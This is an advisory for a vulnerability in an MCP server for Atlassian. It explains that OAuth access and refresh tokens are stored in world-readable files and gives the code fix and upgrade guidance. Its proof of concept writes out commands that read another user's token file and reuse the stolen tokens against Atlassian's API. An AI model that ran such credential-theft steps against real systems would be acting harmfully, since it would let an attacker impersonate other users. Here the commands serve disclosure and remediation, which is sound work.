CVE-2026-77268: MCP Atlassian: Insecure File Permissions on OAuth Token Storage
Summary
The OAuth token fallback file storage in OAuthConfig.savetokenstofile() creates token files containing access tokens, refresh tokens, and cloud IDs with default filesystem permissions (typically 0644 on Linux, world-readable). Any local user on a shared system can read these files to obtain full Atlassian API credentials, enabling unauthorized access to the victim's Jira and Confluence data.
Details
The vulnerability exists in src/mcpatlassian/utils/oauth.py in the savetokenstofile method.
Step 1 -- Directory created without restrictive permissions:
At line 402-403, the token directory is created with mkdir(existok=True) which uses the default umask (typically creating directories with mode 0755):
python src/mcpatlassian/utils/oauth.py:402-403 tokendir = Path.home() / ".mcp-atlassian" tokendir.mkdir(existok=True)
Step 2 -- Token file written with default permissions:
At line 417-418, the token file containing sensitive credentials is written using open() with no explicit mode, inheriting default umask permissions (typically 0644 on Linux):
python src/mcpatlassian/utils/oauth.py:406-418 tokenpath = tokendir / f"oauth-{self.clientid}.json"
if tokendata is None: tokendata = { "refreshtoken": self.refreshtoken, "accesstoken": self.accesstoken, "expiresat": self.expiresat, "cloudid": self.cloudid, "baseurl": self.baseurl, }
with open(tokenpath, "w") as f: json.dump(tokendata, f)
Step 3 -- The file contains full API credentials:
The token file contains: - accesstoken: A valid OAuth access token for the Atlassian API - refreshtoken: Can be exchanged for new access tokens indefinitely - cloudid: Identifies the target Atlassian Cloud instance - baseurl: The target Data Center instance URL
No os.chmod or os.fchmod is called anywhere after file creation.
The primary storage via keyring (line 373) is secure, but the fallback file storage at line 386 is always written in addition to keyring (line 386: self.savetokenstofile(tokendata)). When keyring fails (common in headless/container/CI environments), the fallback becomes the only storage.
PoC
bash Step 1: Victim runs mcp-atlassian with OAuth and completes the flow. This creates the token file.
Step 2: As any other user on the same system, read the token file: cat /home/victim/.mcp-atlassian/oauth-.json
Expected output (sensitive credentials in plaintext): {"refreshtoken": "eyJ...", "accesstoken": "eyJ...", "expiresat": 1741234567.0, "cloudid": "abc-123", "baseurl": null}
Step 3: Verify the token works: curl -H "Authorization: Bearer <stolenaccesstoken>" \ "https://api.atlassian.com/ex/jira/<stolencloudid>/rest/api/3/myself"
Step 4: Use the refresh token to get a new access token: curl -X POST "https://auth.atlassian.com/oauth/token" \ -d "granttype=refreshtoken" \ -d "clientid=<fromenv>" \ -d "clientsecret=<fromenv>" \ -d "refreshtoken=<stolenrefreshtoken>"
Verify file permissions (on Linux/macOS):
bash ls -la ~/.mcp-atlassian/ drwxr-xr-x 2 user user 4096 Mar 10 12:00 . -rw-r--r-- 1 user user 256 Mar 10 12:00 oauth-abc123.json ^^ ^^ ^^ world-readable!
Impact
- Credential theft: Any local user can read the OAuth tokens and impersonate the victim on their Atlassian Cloud/Data Center instance. - Persistent access: The refresh token allows the attacker to generate new access tokens indefinitely, even after the original access token expires. - Full API access: The stolen tokens grant the same API permissions as the victim, including reading/writing Jira issues, Confluence pages, and potentially sensitive project data. - Affected environments: Shared servers, CI/CD runners, multi-user workstations, and containerized deployments where the fallback file storage is used (keyring unavailable).
Recommended Fix
1. Set restrictive permissions on the directory and file:
python src/mcpatlassian/utils/oauth.py
import os import stat
def savetokenstofile(self, tokendata: dict | None = None) -> None: """Save the tokens to a file as fallback storage.""" try: tokendir = Path.home() / ".mcp-atlassian" tokendir.mkdir(existok=True, mode=0o700)
tokenpath = tokendir / f"oauth-{self.clientid}.json"
if tokendata is None: tokendata = { "refreshtoken": self.refreshtoken, "accesstoken": self.accesstoken, "expiresat": self.expiresat, "cloudid": self.cloudid, "baseurl": self.baseurl, }
# Open with restrictive permissions (owner-only read/write) fd = os.open( str(tokenpath), os.OWRONLY | os.OCREAT | os.OTRUNC, stat.SIRUSR | stat.SIWUSR, # 0o600 ) try: with os.fdopen(fd, "w") as f: json.dump(tokendata, f) except Exception: os.close(fd) raise
logger.debug(f"Saved OAuth tokens to file {tokenpath} (fallback storage)") except Exception as e: logger.error(f"Failed to save tokens to file: {e}")
2. Additionally, fix the directory permissions for existing installations:
python In init or fromenv, ensure existing directories are tightened tokendir = Path.home() / ".mcp-atlassian" if tokendir.exists(): os.chmod(str(tokendir), 0o700)
Other sources
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth fallback token directory and JSON file are created without explicit owner-only modes. Local users or processes with access through the resulting group or world permission bits can read access and refresh tokens and reuse the associated Atlassian session. The advisory traces the vulnerable input and processing flow through ~/.mcp-atlassian, oauth-<clientid>.json, accesstoken, and refreshtoken, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Upgrade
Upgrade
MCP Atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Configuration
Set the ~/.mcp-atlassian directory to owner-only permissions (0700) and create OAuth token files with owner-only read/write permissions (0600). Apply the restrictive permissions to existing installations as well.
MCP Atlassian OAuth fallback token storage filesystem permissions = directory 0700; token file 0600
Event History
Frequently Asked Questions
Who is exposed to token theft?
Installations running a version prior to 0.22.0 are exposed when local users or processes can access the group or world permission bits applied to the OAuth fallback token directory or file. The issue affects tokens stored under ~/.mcp-atlassian, including oauth-<client_id>.json.
What does an attacker need to exploit this issue?
An attacker needs local access, or execution as a local process, with permission to read the token directory or JSON file through its resulting group or world-accessible modes. They can read the access_token and refresh_token values and reuse the associated Atlassian session.
How can I determine whether a system may already be affected?
Check whether the installation is older than 0.22.0 and whether ~/.mcp-atlassian or oauth-<client_id>.json has group or world-readable permissions. Also treat any access and refresh tokens stored in those locations as potentially exposed to local readers.
What should be done if upgrading is not immediately possible?
Restrict the OAuth fallback token directory and its JSON files to the owning user so other local users and processes cannot read them. Because exposed tokens can be reused, access and refresh tokens in previously permissive locations should be considered potentially compromised.